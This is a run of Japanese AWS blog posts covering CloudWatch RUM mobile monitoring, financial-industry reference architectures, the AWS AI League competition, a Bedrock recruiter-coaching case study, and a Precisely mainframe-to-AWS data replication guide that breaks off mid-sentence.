バージョン、デバイス、国、リージョン、地域によるフィルタリング機能が提供されます。 Performance タブ: 速度と応答性の詳細な分析 CloudWatch RUM コンソールの Performance タブは、モバイルアプリのパフォーマンスに関する洞察を提供します。この詳細ビューでは、画面読み込み時間を画面名、OS バージョン、アプリバージョン、デバイス、国別に分類して表示します。以前は見えなかったパターンが明確になります。特定の国ではネットワークインフラストラクチャの違いによりアプリのパフォーマンスが異なる、または特定のデバイスモデルが特定の機能で苦労しているなどです。チャート内の 画面読み込み時間のデータポイント をクリックすると、右側に診断パネルが開き、データポイントに関連する詳細な洞察 (最新の関連セッションなど) と、1 つまたは他の類似セッションのトラブルシューティングを行うための Sessions タブへのリンクが提供されます。 App Launch time ビューでは、アプリケーションの起動パフォーマンスを詳細に分析し、起動タイプ (コールド/ウォーム)、OS バージョン、アプリバージョン、デバイス、国別に起動時間を分類します。この詳細なビューは、パフォーマンスのボトルネックを特定するのに役立ちます。特定の OS バージョンでコールドスタートが遅い、または特定のデバイスモデルが初期化で苦労しているなど、最も影響力のあるユーザーセグメントに対して的を絞った最適化の取り組みを可能にします。 Locations タブは、アプリケーションパフォーマンスに関する地理的な洞察を提供し、国、リージョン、地域全体のメトリクスを表示して、場所ベースのパフォーマンスパターンを明らかにします。このビューは、地域のインフラストラクチャの課題、ネットワークレイテンシーの問題、またはユーザーがパフォーマンスの低下を経験している地理的エリアを特定するのに役立ちます。 図 5: AWS CloudWatch RUM – Performance タブ Errors タブ: デバッグの相棒 Errors タブは、エラー追跡を体系的な問題解決に変換します。アプリケーションの問題を 3 つのカテゴリに分類します: Network Errors、Crashes、ANRs/App hangs。Network Errors タブには、HTTP リクエストの折れ線グラフがあり、HTTP パフォーマンスメトリクスを表示し、左の Y 軸に失敗率 (HTTP エラー、HTTP フォールト、ネットワーク障害) を、右の Y 軸に HTTP レイテンシーを示します。この時系列データポイントにより、ユーザーはクリックして、診断パネルでトラブルシューティングのために関連するスパンとセッションを表示できます。下部のテーブルには、最も一般的な 100 のネットワークルートがリストされます。 同様に、 Crashes および ANRs/App hangs タブには、各エラーのカウントの折れ線系列が表示されます。下部のテーブルには、最も一般的な上位のクラッシュメッセージ/ANR スタックトレースが表示されます。エラーメッセージをクリックすると、クイックリファレンス用にスタックトレース全体がポップアップ表示されます。 図 6: AWS CloudWatch RUM – Errors タブ Sessions タブ: ユーザージャーニーの追跡 次に、 Sessions タブでは、詳細なウォーターフォール表示を使用して、アプリ内の個々のユーザージャーニーを追跡できます。これらの可視化は、ユーザーインタラクション中に時間がどこで費やされているか、ユーザーがどこで摩擦や遅延を経験しているかを正確に示します。このユーザー中心のビューは、技術的なパフォーマンスだけでなく、全体的なユーザーエクスペリエンスを最適化するのに役立ちます。 すべてのセッションをリストするテーブルがあり、時刻の降順にソートされています。下部には、選択したセッションのすべてのテレメトリを視覚化するウォーターフォールがあります。ウォーターフォールの各行を選択して、診断パネルを開くことができます。行が HTTP リクエストの場合、トレースコンソールにディープリンクされた traceId があります。例外、クラッシュ、または ANR/App hang を受信した HTTP リクエストの場合、診断パネルにはスタックトレースを表示する Exception タブもあります。ウォーターフォールの「View」ボタンは、ワンクリックで例外に直接移動する簡単な方法でもあります。 図 7: AWS CloudWatch RUM – Sessions タブ – ARN 図 8: AWS CloudWatch RUM – Sessions タブ – HTTP traceId Metrics タブ: アプリケーションヘルスのモニタリング Metrics タブは、レイテンシー、エラー、ボリューム、拡張メトリクスに関するアプリケーションのパフォーマンスに関するリアルタイムデータを視覚化するのに役立つ包括的なダッシュボードを提供します。 このタブには、右上に「 Add to dashboard 」というオプションもあり、このデータを他の CloudWatch ダッシュボードにエクスポートできます。 図 9: AWS CloudWatch RUM – Metrics タブ Configuration タブ: 継続的な管理 最後に、 Configuration タブは、アプリモニター設定とインストルメンテーションコードスニペットへのアクセスを容易にし、モニタリングのニーズが進化しても、継続的な管理と更新を容易に行えます。 図 10: AWS CloudWatch RUM – Configuration タブ まとめ モバイル向け Amazon CloudWatch RUM は、モバイルアプリケーションのオブザーバビリティをリアクティブなトラブルシューティングからプロアクティブな最適化に変革し、パフォーマンスモニタリングを通じてビジネスインパクトをもたらします。チームは、地域のクラッシュを引き起こすローカライゼーションのバグや、コールドスタートのパフォーマンスを低下させるサードパーティ SDK などの重要な問題を特定して解決できます。CloudWatch Application Signals とのシームレスな統合により、モバイルユーザーエクスペリエンスからバックエンドの依存関係までのエンドツーエンドのトレースが可能になります。 この機能は、CloudWatch RUM が動作するすべての商用リージョンで利用できます。この実装により、チームは既存の開発ワークフローを維持しながらパフォーマンスデータを収集でき、アプリケーションスタック全体でトレースされたユーザーセッションからのメトリクスを使用して、組織がモバイルアプリ開発にアプローチする方法を変えます。 この新機能の詳細については、 ドキュメント をご覧ください。また、 Android および iOS の入門ガイドもご覧ください。最後に、 料金 の詳細もご確認いただけます。 著者について Ruchika Modi Ruchika Modi は、Amazon Web Services (AWS) の Lead DevOps Consultant です。クラウドインフラストラクチャ、自動化、コンテナ化、CI/CD を専門としています。安全でスケーラブルかつ高可用性のクラウドネイティブアーキテクチャの構築において豊富な経験を持ち、DevOps 手法を使用した最先端のクラウドソリューションの設計と実装に関する深い理解と専門知識を持っています。仕事以外では、未開拓の新しい場所への旅行、ペットとの時間、Kindle での読書を楽しんでいます。 Siva Guruvareddiar Siva Guruvareddiar は、AWS の Senior Solutions Architect であり、お客様が高可用性システムを設計するのを支援することに情熱を注いでいます。マイクロサービス、コンテナ化、オブザーバビリティ、サービスメッシュ、クラウド移行を使用して、プラットフォームインフラストラクチャと内部アーキテクチャをモダナイズすることで、クラウドネイティブの採用を加速させます。LinkedIn で連絡できます: linkedin.com/in/sguruvar Vijay Kumar Vijay Kumar は、セキュリティとオブザーバビリティの領域で革新的な製品を提供してきた実績を持つ Senior Product Manager であり、深い技術的専門知識とユーザー中心の設計を活用しています。 この記事は Kiro が翻訳を担当し、Solutions Architect の Aya Hara がレビューしました。

「金融リファレンスアーキテクチャ日本版」 では、2022 年の初版公開以来、継続的にコンテンツの拡充を進めています。その中で、「ミッションクリティカル (勘定系) 」や「顧客チャネル」など、金融業界固有のワークロードに応じたリファレンスアーキテクチャが AWS CDK サンプルコードと共に公開されています。例えば「ミッションクリティカル (勘定系) 」は勘定システムだけでなく、一般的なOLTPシステムでご利用できます。 一方で、具体的なシステム特性を踏まえた上で、より詳細な考慮点やアーキテクチャ上の決定根拠を知りたいというニーズは以前からありました。そこで今回、国内のみならずグローバルも含めた先進事例を分析し、アーキテクチャ上の重要ポイントを整理したドキュメントとして公開しました。 今回公開されたのは以下3つのユースケースです。 証券会社における OMS (Order Management System) クレジットカードのイシュアシステム 保険業界におけるデータ分析システム これらの各ユースケースごとに、アーキテクチャの目的や特徴に関する解説と、想定されるFAQも併せて記載しています。本記事では各ユースケースの概要について解説します。 証券会社における OMS (Order Management System) 証券会社の注文管理システム (OMS) をクラウド環境で構築する際のリファレンスアーキテクチャを公開しました。従来オンプレミスやメインフレームで運用されてきた証券会社の基幹システムを、低レイテンシー・高スケーラビリティ・高可用性のバランスを取りながらクラウドネイティブに構築するための指針を、国内外で稼働している複数の事例を踏まえて示しています。 実装上のポイントとして以下のような内容を解説しています Amazon ElastiCache for Redis によるインメモリメッセージングで低レイテンシーなコンポーネント間通信を実現 マイクロサービス化により各コンポーネントの独立したスケーリングを実現し、寄り付き時などの予測可能なピーク負荷にも対応 AWS Outposts を活用した取引所近接配置により、EMS との通信レイテンシーを最小化 詳細は本文： 金融ワークロードアーキテクチャ解説 資本市場 OMS をご覧ください。 クレジットカードのイシュアシステム クレジットカードのイシュアシステムをオンプレミスから AWS に段階的に移行・構築運用する際のリファレンスを公開しました。キャンペーン等に起因した決済需要による高トラフィック処理やリアルタイム承認要件への対応、決済技術や業界標準の導入／金融規制要件の変更への対応、業務継続性を支えるための高可用性の担保等、クレジットカード業界に求められる様々な要素を実現するためのアーキテクチャをお客様の先行事例を元に示しています。 Authorization（承認）および Reconciliation（クリアリングファイルと承認済みデータの突合せ）の機能を AWS 上に構築し、Settlement（資金精算）をオンプレミスで構築するアーキテクチャパターンを示しています。 その他、実装上のポイントとして以下のような内容を解説しています マルチリージョンでのActive – Active 構成を採用し、カード番号、顧客ID 等のデータ内容ごとにオンプレミスからどちらのリージョンに振り分けるかを判定することで各リージョンごとに処理対象を分離し、整合性と可用性の両立を実現 マイクロサービスアーキテクチャを採用うぃ各機能の独立したスケールアウトを実現 リクエストヘッジを導入したDynamoDB のパフォーマンス担保 詳細は本文： クレジットカードのイシュアシステム をご覧ください。 保険業界におけるデータ分析システム 保険業務に必要なデータ処理を実現するデータプラットフォームをAWS上に構築・運用する際のリファレンスを公開しました。データ量急増による処理能力不足とコスト増大、レガシーシステムの機能制約による多様化ニーズへの対応困難、セキュリティ境界の曖昧さによるコンプライアンス対応の課題など、保険業界に求められる様々な要素を実現するためのアーキテクチャをお客様の先行事例を元に示しています。 統合データレイクを中心としたデータプラットフォームにより、保険業務における契約者情報、健康情報、財務データの取り込みから分析機能をクラウド上でシステム化しています。マルチアカウント戦略を採用し、データ取り込み、データレイク、データ変換、データウェアハウス、データ分析の処理ごとに分離されたアカウントで実行することで、 PII / PHI データの完全な分離とセキュリティ境界の明確化を実現しています。 実装上のポイントとして以下のような内容を解説しています Amazon Aurora をメタデータリポジトリとして活用し、AWS Glue フレームワークによるメタデータ駆動型ジョブ自動生成で異なるソースからの統一的なデータ取り込みを実現 Amazon Redshift Data Sharing による計算分離アーキテクチャで、プロビジョニングクラスターでの ETL / ELT 処理とサーバーレスクラスターでの分析処理を完全分離し、パフォーマンス競合を回避 AWS Organizations によるマルチアカウント戦略と IAM クロスアカウントロールにより、 PII / PHI データの完全分離と最小権限アクセス制御を実現 詳細は本文： 保険ワークロード：データ分析基盤 をご覧ください。 まとめ 今回の「金融リファレンスアーキテクチャ日本版」におけるアップデートでは、従来ご提供してきたワークロードごとのリファレンスアーキテクチャに加え、実際のお客様事例をもとにした特定ユースケースにおける詳細なアーキテクチャの解説文書を公開しました。これにより、同様のユースケースで AWS を活用いただく際のアーキテクチャ検討に役立てていただくことを目指しています。内容に関するフィードバックやご質問は、 GitHub 上の issue としてご登録いただけます。皆様からのフィードバックをお待ちしております。 本ブログ記事は、AWS のソリューションアーキテクトである 樋口 健人、武方 総、髙木 香里、吉澤 稔、松本 耕一朗が執筆いたしました。

本稿は 2025 年 12 月 23 日に AWS Machine Learning Blog で公開された “ AWS AI League: Model customization and agentic showdown ” を翻訳したものです。 複雑な実務タスクに対応できるインテリジェントな AI エージェントを構築するのは、容易なことではありません。また、大規模な事前学習済み基盤モデルだけに頼るのではなく、企業は自社の特定ユースケースでより高いパフォーマンスを発揮できるよう、小規模で専門性の高いモデルをファインチューニングし、カスタマイズする必要がある場合も多いです。AWS AI League は、エージェンティック AI とモデルカスタマイゼーションの分野でイノベーションを促進する、エキサイティングなコンペティションを通じて、企業が高度な AI 能力を構築する際の課題を克服できるよう支援する革新的なプログラムを提供しています。 2025 年、初回の  AWS AI League コンペティション は、世界中の開発者、データサイエンティスト、ビジネスリーダーの注目を集めました。彼らは最新の AI ツールとテクニックを使用して喫緊の課題解決に取り組みました。AWS re:Invent 2025 のグランドフィナーレは、参加者たちの創意工夫とスキルを披露する、エキサイティングなイベントとなりました。主要企業の部門横断チームが直接対決し、効果的なプロンプトの作成、モデルのファインチューニング、そして強力な AI エージェントの構築能力を実証しました。 2025 年 AWS AI League チャンピオンの皆様、おめでとうございます！激戦の末、これら 3 名の優秀な構築者が勝利を収め、総額 $25,000 の賞金を分け合いました： 1 位：Cisco 所属の Hemanth Vediyera 2 位：Aqfer 所属の Ross Williams 3 位：Capital One 所属の Deepesh Khanna 図1: 左から順に Ross, Hemanth, Deepesh この記事では、AWS AI League プログラムを使用して AI コンペティションを開催する方法について説明します。 このプログラムにより、参加者はモデルカスタマイゼーションやエージェント構築の概念を体験し、それらを実際のビジネス課題解決に応用し、ゲーム形式の魅力的なフォーマットで革新的なソリューションを披露することができます。新たに導入されたエージェンティック AI とモデルカスタマイゼーションのチャレンジでは、企業が AWS クレジットを利用して社内トーナメントを主催したり、開発者が AWS イベントで競い合うことが可能です。 開始するには、 AWS AI League 製品ページ をご覧ください。 AWS AI League は、AWS エキスパートが主導する 2 時間のハンズオンワークショップから始まり、その後自分のペースでの実験が続きます。この旅路は、緊急のビジネス課題に対処する AI 作品とソリューションを披露する、魅力的なゲームショースタイルのグランドフィナーレで頂点に達します。以下の図は、これら 3 つのステップを示しています。 図2: AWS AI League チャンピオンシップのステップ 2025 年プログラムの成功を基盤として、 AWS AI League 2026 チャンピオンシップ の開始を発表できることを嬉しく思います。今年のコンペティションでは、参加者がAIスキルを真に試せる、2つの新しいチャレンジが導入されます。 エージェンティック AI チャレンジでは、 Amazon Bedrock AgentCore  を使用してインテリジェントエージェントを構築します。競技者は実世界のビジネス問題に取り組むためにカスタマイズされたエージェントアーキテクチャを作成します。 モデルカスタマイゼーションチャレンジはエージェンティック AI チャレンジを補完し、 SageMaker Studio  の最新のファインチューニングレシピを使用して特定のユースケース向けにモデルをカスタマイズします。 2026 AI League チャンピオンシップ では、賞金総額が $50,000 に倍増し、初心者から上級実践者まで、異なるスキルレベルの開発者に対応するトラックが用意されています。 AWS AI League には、Amazon Bedrock AgentCore を使用してインテリジェントなエージェントを構築し、ダイナミックなゲーム形式の競技で複雑な問題を解決する、エキサイティングなエージェンティック AI チャレンジが新たに加わりました。このチャレンジでは、エージェントが迷路のようなグリッド環境を進み、宝箱を目指しながら様々な課題に遭遇します。これらの課題は実際のユースケースを反映しており、不適切なコンテンツへの対処、コード実行、ブラウザ操作など、エージェントの能力が試されます。 エージェントには制限時間が設けられており、その間にマップを移動し、ポイントを集め、障害物を乗り越えて宝箱に到達しなければなりません。獲得ポイントが多いほど、リーダーボードでの順位が上がります。Amazon Bedrock AgentCore のプリミティブを使用してエージェントを完全にカスタマイズできるため、本番レベルのエージェントをより安全に拡張・管理することが可能です。また、スーパーバイザーやサブエージェントに特定のモデルを選択したり、 Bedrock Guardrails 、 AgentCore Memory 、 AWS Lambda  関数などのカスタムツールを作成して、エージェントが課題を乗り越えるのを支援できます。以下の図は、エージェントが宝箱に到達するまでに克服しなければならない障害物を示しています。 図3: AWS AI League エージェンティック AI チャレンジ AWS AI League は、ユーザーがインテリジェントなエージェントソリューションを構築するための完全な UI (ユーザーインターフェース)を提供しています。このノーコード UI を使用して、マルチエージェントアーキテクチャやツールを構築し、カスタム Lambda 関数やツールをインタラクティブにコーディングするための  Amazon SageMaker Studio CodeEditor  などの様々なコンポーネントを統合できます。これにより、環境を離れることなく、AWS AI League のウェブサイト内でエージェントベースのソリューションを完全に開発・カスタマイズすることが可能です。 以下のスクリーンショットは、AWS AI League のウェブサイト内で完結するエージェント構築体験を示しています。 図4: AWS AI League エージェントツール 図5: AWS AI League マルチエージェントアーキテクチャ 競技中、ユーザーはエージェントのパフォーマンスに関するリアルタイムフィードバックを受け取ります。LLM (大規模言語モデル)による評価システムが客観的な評価を提供し、改善のための反復作業を支援します。以下の画像は、チャレンジ中にエージェントがどのように評価されるかを示しています。 図6: AWS AI League エージェントチャレンジにおける評価 グランドフィナーレでは、上位のファイナリストがステージに上がり、ライブのゲームショー形式でエージェントの能力を披露します。これにより、複雑なマルチステップ問題を解決するエージェンティック AI の強力さと汎用性が実証されます。評価基準には、時間効率、チャレンジの解決精度、エージェントの計画能力、そしてトークン消費効率が含まれます。以下のスナップショットは、re:Invent 2025 でのグランドフィナーレ最終ラウンドの様子を示しています。 図7: AWS AI League re:Invent 2025 グランドフィナーレ AWS AI League の モデルカスタマイゼーションチャレンジ では対象範囲が拡大され、 最新のファインチューニング技術を活用できるようになりました。 Amazon SageMaker Studio  内で新しいモデルカスタマイゼーション体験にアクセスでき、強力な新しいトレーニングレシピを使用できます。目標は、より大規模な参照モデルのパフォーマンスを上回る、高度に効果的でドメイン特化型のモデルを開発することです。 チャレンジは、モデルカスタマイゼーションスキルを磨くことから始まります。学習したツールやテクニックを使用して、高度なファインチューニング手法を適用し、モデルのパフォーマンス向上を目指します。モデルのカスタマイズが完了すると、真の試練が始まります。カスタマイズしたモデルはリーダーボードに提出され、参照モデルと比較してパフォーマンスが評価されます。自動評価システムが、あなたのカスタマイズモデルの応答が参照モデルの出力よりも正確で包括的であると判断するたびに、ポイントが獲得できます。高度なスキルを披露し、リーダーボードのトップに上り詰め、組織にとって新たな機会を切り開く可能性があります。 チャレンジ中、リーダーボードに提出すると、自動評価システムからモデルのパフォーマンスに関するリアルタイムフィードバックを受け取ります。リーダーボードは競技期間を通じて、参照データセットに対して提出物を評価し、精度に関する即座のフィードバックを提供することで、ソリューションの反復改善を支援します。以下の画像は、カスタマイズされたモデルを評価するために AI による評価がどのように使用されるかを示しています。 図8: AWS AI League モデルカスタマイゼーションの評価 グランドフィナーレでは、上位のファイナリストがライブのゲームショー形式でモデルの能力を実証し、プロンプトエンジニアリングのスキルを披露します。ゲームショーでは、ドメインエキスパートとライブ観客がリアルタイム投票に参加し、どの AI ソリューションが実際のビジネス課題を最もよく解決するかを判断する専門家評価が得点に含まれます。以下の画像は、グランドフィナーレ中の参加者のプロンプトエンジニアリング画面を示しています。 図9: AWS AI League モデルカスタマイゼーショングランドフィナーレ参加者ビュー 本記事では、新しい AWS AI League のチャレンジと、それが組織の AI 開発アプローチをどのように変革しているかを紹介しました。AWS では、イノベーションを促進する最も効果的な方法は競争であることを学んできました。AWS AI League により、開発者は AI スキルを披露し、競い合い、イノベーションを解き放つことができるようになりました。 組織内で AWS AI League を開催する方法について詳しく知りたい場合は  AWS AI League  をご覧ください。また、インテリジェントなエージェントの構築や AI モデルのカスタマイゼーションについてより深く学ぶには、 AWS Skill Builder  の  AWS AIトレーニングカタログ をご活用ください。 本記事の翻訳はソリューションアーキテクトの大前遼が担当しました。 Marc Karp は、Amazon SageMaker Serviceチームの MLアーキテクトです。彼は、お客様が大規模なMLワークロードの設計、デプロイ、管理を支援することに重点を置いています。余暇には、旅行や新しい場所の探索を楽しんでいます。 Natasya K. Idries は、AWS AI/MLゲーミフィケーション学習プログラムのプロダクトマーケティングマネージャーです。彼女は、先進技術と実用的なビジネス実装の間のギャップを埋める魅力的で実践的な教育イニシアチブを通じて、AI/MLスキルの民主化に情熱を注いでいます。学習コミュニティの構築とデジタルイノベーションの推進における彼女の専門知識は、インパクトのあるAI教育プログラムの作成へのアプローチを形作り続けています。仕事以外では、Natasyaは旅行、東南アジア料理の調理、自然散策路の探索を楽しんでいます。

本ブログは株式会社サンブリッジ様と Amazon Web Services Japan が共同で執筆いたしました。 ※ サンブリッジ様の Website でも本事例を技術コラムとして公開されています。詳細はそちらも併せてご参照ください。 みなさん、こんにちは。AWS で営業を担当している垣見です。本記事では、採用担当者の育成効率化という社内課題に対し、生成 AI を活用して大きな成果を上げている株式会社サンブリッジ様（以下、サンブリッジ様）の取り組みをご紹介します。 株式会社サンブリッジ様 は、企業のビジネスモデルに合わせて AWS や Salesforce をはじめ、お客様の課題解決において最適なクラウドサービスを用いたビジネス分析や導入、運用までをワンストップでトータルコーディネートし、ビジネス拡大・業務改善を支援する企業です。同社では、採用担当者が未経験者であることに起因する CEO の育成負荷や、面接同席が困難な場合に CEO 視点での適切な回答ができないといった課題を抱えていました。これらの課題を解消するため、同社は Amazon Bedrock を活用して 採用担当向け育成 AI コーチを構築し、育成業務の自動化と品質向上を実現しました。 背景と課題 サンブリッジ様では、事業拡大に伴って採用活動が活発化する中、採用担当者の育成に関する課題が顕在化していました。特に、採用担当者の経験が浅い場合、面接準備や候補者対応における判断軸を CEO が直接指導する必要があり、育成に大きな時間を割かざるを得ない状況でした。また、CEO が面接に同席できない場面では、採用担当者だけでは CEO の視点に基づいた回答が難しく、候補者に対して一貫した質の高い説明を行うことが困難になることもありました。 採用面接は年間 720 回にのぼり、その半数以上に CEO が関与していたため、負担の軽減と育成プロセスの仕組み化が急務となっていました。育成ノウハウも CEO 個人に蓄積される傾向が強く、組織として採用力を高めるためには、知見の共有とプロセスの標準化が求められていました。 ソリューション構築のアプローチ こうした課題に対して、サンブリッジ様は Amazon Bedrock を中心に据えた「採用担当向け育成 AI コーチ」の構築に取り組みました。採用担当者が日常的に抱く疑問を即座に解消できるよう、Bedrock の大規模言語モデルを活用した対話型チャットボットを開発し、CEO が普段重視している判断ポイントや候補者との向き合い方を学習させることで、担当者がいつでも CEO の視点に近い回答を得られるようにしました。 あわせて、ナレッジの最新化を継続するために Slack と連携し、運用メンバーが日々の気づきや更新情報を手軽に蓄積できる環境を整備しました。また、採用業務に必要な基礎理解を確認できるよう、 RAG （Retrieval-Augmented Generation） を利用したテスト機能も実装し、問題作成から採点、フィードバック生成までを自動化しました。これにより、育成の進捗や理解度を定量的に把握することが可能になりました。 さらに、開発プロセスには AI コーディングアシスタントを活用し、新人エンジニア 1 名でわずか 2 週間という短期間でシステム全体を構築することに成功しました。アジャイルに試行錯誤できる環境が整ったことで、現場が求める機能を迅速に形にする体制が実現しました。 導入効果 育成 AI コーチの導入後、面接同席にかかる CEO の負担は大きく軽減されました。年間 720 回の面接のうち、これまで CEO の同席が必要とされていた場面の半数が AI による育成支援で対応可能となり、年間で 360 時間の削減につながりました。これは採用活動全体の効率化に大きく貢献しています。 また、面接中の質問対応についても、AI が CEO の視点を補完することで、年間280回の質問機会で社長視点で候補者へ回答することができるようになり、安定した回答品質を確保できるようになりました。採用担当者が CEO の意図を正確に理解するための情報提供が強化され、人によって対応がばらつくといった属人化の課題も解消に向かっています。加えて、RAG を活用したテスト機能により、担当者の理解度を把握しながら継続的にスキル向上を支援できるようになり、育成そのものの質も向上しました。 今後の展望とまとめ サンブリッジ様は生成 AI コンテストという外部イベントに参加することで、育成AIコーチのアイデアを短期間で具体化し、さらに実際の業務上の課題を解決する段階まで速やかに移行できました。今回構築した育成 AI コーチを基盤として、採用業務以外の領域への展開も視野に入れています。Slack を軸にしたナレッジ運用の仕組みは他部門でも活用可能であり、AI による判断支援の仕組みを組織全体へ広げていくことで、さらなる生産性向上が期待されています。 「AWS が提供する豊富な AI 関連ソリューションとアクセスしやすいインターフェイスの Slack を組み合わせることにより、弊社の育成課題の解決に繋がりました。継続的にアップデートしていきたいと考えています。」と語るのは株式会社サンブリッジ 代表取締役社長 兼 CEO の梶川 拓也氏です。今回の取り組みは、属人化した知見を AI によって標準化し、限られたリソースでも高い品質の育成と採用活動を実現するモデルケースとなりました。AWS を活用した迅速な開発と運用の仕組みが、今後の採用戦略における重要な基盤となっていくと考えられます。 垣見　健一 | Kakimi Kenichi 広域事業統括本部　広域営業本部　第一営業部

みなさん、こんにちは。現在メインフレームを利用されている方の中で、メインフレームシステム上の業務データを活用することで、ビジネス意思決定の高度化や新たなビジネス創出を行い、ビジネス価値を向上させる方法を検討されている方はいらっしゃいますでしょうか。こちらの検討をされている方は、多くのケースにおいて以下のような課題に直面されているのではないでしょうか。 メインフレームの処理能力が限界に近づいており、現行処理に影響しないようにデータ分析やデータ加工を行うことは難しい。 メインフレームからデータをエクスポートしたいが、データ構造や型変換に手間と時間がかかりデータ鮮度を高められない。 本ブログでは、これらの課題に対する一つの解決策である Precisely を用いたニアリアルタイムのデータ同期をご紹介します。この方法を使うことでデータ構造や形式を変換しながら、メインフレーム上の様々なデータソースから AWS 環境上のデータストアへ、ニアリアルタイムの同期を行うことで、外部システム上で鮮度の高いデータを用いてデータ活用を行うことが可能です。 Precisely を使用した AWS Mainframe Modernization Data Replication とは AWS Mainframe Modernization Data Replication は、Precisely 社の Change Data Capture (以下、CDC) テクノロジーを活用した、メインフレームのデータを AWS クラウドへ同期するためのソリューションです。メインフレーム上の様々なデータソースから AWS 環境上のデータストアへ、ニアリアルタイムのレプリケーションを実現します。 このソリューションの特徴としては、以下のようなものがあります。 CDC によるニアリアルタイムのレプリケーションの実現 メインフレームのデータソースへの負荷の配慮 Db2、IMS、VSAM などメインフレーム上の様々なデータソースへの対応 Amazon Managed Streaming for Apache Kafka (以下、MSK) と統合することによる、AWS サービスを直接ターゲットとするレプリケーションの実現 このソリューションは、以下のような様々なデータ利活用のユースケースに適用可能です。 AWS クラウド上のデータレイクやデータウェアハウスに同期したメインフレームデータを使った、BI による可視化や AI/ML による新たなデータの活用 AWS クラウド上のデータストアにニアリアルタイムで同期されたメインフレームデータに対する、新規ビジネスアプリケーションからのデータ参照 メインフレームのダウンタイムを最小化しながら、メインフレームアプリケーションおよびデータを AWS クラウドに移行する アーキテクチャ概要 実際にメインフレームからAWS クラウド上にデータを同期する際の、推奨する基本構成は以下のようになります。 このアーキテクチャは、Amazon EC2 インスタンスでデプロイされた Precisely Apply Engine を境目として、メインフレーム側と AWS クラウド側に分けられます。メインフレーム側から送信されたデータは、Apply Engine で処理・変換され、後続の AWS サービスに送られます。メインフレーム側にはログ収集用のエージェントがインストールされており、データを一定量蓄積した上でのバッチ送信またはログストリームのニアリアルタイム送信が可能です。AWSクラウド側には Apply Engine を構成することで、ホストから送信されたデータを後続のサービスで利用しやすい形式に加工しながら連携することが可能です。MSK と組み合わせることで、Amazon Redshift、Amazon S3、Amazon RDS、Amazon Aurora、AWS Lambda など、様々なサービスに対してニアリアルタイムなデータ連携が可能です。本ブログ上では、S3 と Redshift に連携するための構成方法を扱います。 データの活用シナリオ例 多くのメインフレーム上には、顧客情報、取引履歴、在庫データ、売上データなど、企業の基幹業務で扱われる重要な情報が含まれているかと思います。これらのデータを活用する例として、以下のようなシナリオを想定しながら今回の環境構築方法を紹介していきます。シナリオ例1としては、データの長期保存や機械学習での活用を主な目的として S3 にデータを格納する構成をご紹介します。シナリオ例2としては、より即時性を重視したニアリアルタイム分析やダッシュボード表示を可能とする Redshift にデータを格納する構成をご紹介します。 シナリオ例1）月次の監査実施タイミングで取引データや顧客行動データを個別抽出して不正取引を検出している金融機関が存在する。この状況に対して、Precisely を用いて当該データをニアリアルタイムで抽出し S3 に蓄積するよう変更を行うことで、日々の最新データを用いて不正取引検出を行い、迅速に自動アラートを発信することが可能になる。 シナリオ例2）製造ラインの各工程で生成される品質データや稼働データをメインフレームに蓄積し、日次レポートで品質傾向を把握している製造業企業が存在する。この状況に対して、Precisely を用いて、製造工程での品質データ・稼働データ生成と同時に Redshift に格納するよう変更を行うことで、品質異常や設備故障の兆候を数分以内に検知し、生産ライン停止前の予防保全を実現できるようになる。 詳細な設定方法 Precisely Connect Apply Engine の準備 Precisely の Apply Engine を利用するための最も簡単な方法は AWS マーケットプレイスに準備された、 Precisely Connect のアプライエンジンを構成するための EC2 の AMI を利用することです。この AMI には、「インストール済みのソフトウェアスタック」「作成・初期化済みのレプリケーションインスタンス」「Amazon CloudWatch と統合済みのプロセスとマーケットプレイスと統合済みのレプリケーションサービス」が導入済みのため、EC2 インスタンス起動後にすぐに利用を開始することができます。マーケットプレイスから「AWS Mainframe Modernization – Data Replication for IBM z/OS」を検索し、サブスクライブを行うことで、該当の AMI を利用した EC2 インスタンスを起動できるようになります。 上記 AMI を用いて EC2 インスタンスを起動した後には、インスタンスにログインを行い、レプリケーションを行うための構成を行います。構成のための詳細手順は、 Precisely Connect の構成手順のドキュメント を参照してください。 本ブログでは、Apply Engine 以降の処理の確認に焦点を当てるため、メインフレーム環境は使用せずに、EC2 インスタンス上に配置したサンプルファイルをデータソースとして、後続のターゲットに対してレプリケーションを行うアプライスクリプトをご紹介します。 [売上明細のサンプル (CSV)] データソースとして使用した CSV の各列の意味は store_id: 店舗ID, product_id: 商品ID, amount: 数量, unit_price: 単価, total_price: 合計金額, timestamp: 売上日時 であり、実際のファイルは以下となります。 3,1008,6,1000,credit,2024-04-01 09:39:00,6000 3,1005,2,200,mobile,2024-04-01 14:00:00,400 2,1004,3,2000,credit,2024-04-03 11:19:00,6000 5,1001,9,200,mobile,2024-04-03 12:17:00,1800 4,1009,8,500,cash,2024-04-03 17:29:00,4000 4,1007,10,100,debit,2024-04-03 20:24:00,1000 1,1004,4,100,mobile,2024-04-04 13:22:00,400 2,1006,1,200,mobile,2024-04-05 14:02:00,200 4,1002,8,1500,mobile,2024-04-05 15:55:00,12000 4,1001,1,1000,cash,2024-04-05 17:35:00,1000 ... [サンプルのアプライスクリプト] 実際に使用したアプライスクリプトは以下の通りです。 JOBNAME sales_test_job; REPORT ./SALES_TEST_JOB.rpt; BEGIN GROUP SOURCE; DESCRIPTION SQLDDL /+ CREATE TABLE SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS SALES; END GROUP; BEGIN GROUP TARGET; DESCRIPTION SQLDDL /+ CREATE TABLE T_SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS T_SALES; END GROUP; DATASTORE ./input.csv OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_IN DESCRIBED BY GROUP SOURCE; DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; PROCESS INTO FILE_OUT SELECT { REPLICATE(FILE_OUT) } FROM FILE_IN; MSK の準備 次に、Apply Engine から送信されたデータを処理する MSK 部分を構築します。構築の最初のステップは、マネジメントコンソールで、MSK のコンソール画面に移動して、MSK クラスターを作成することから始まります。Apply Engine と MSK クラスターが安全に通信するために、今回は同じ VPC 内に両者が存在する構成を採用します。クラスタータイプは Provisioned を選び、Apply Engine の VPC へ配置していきます。Apache Kafka 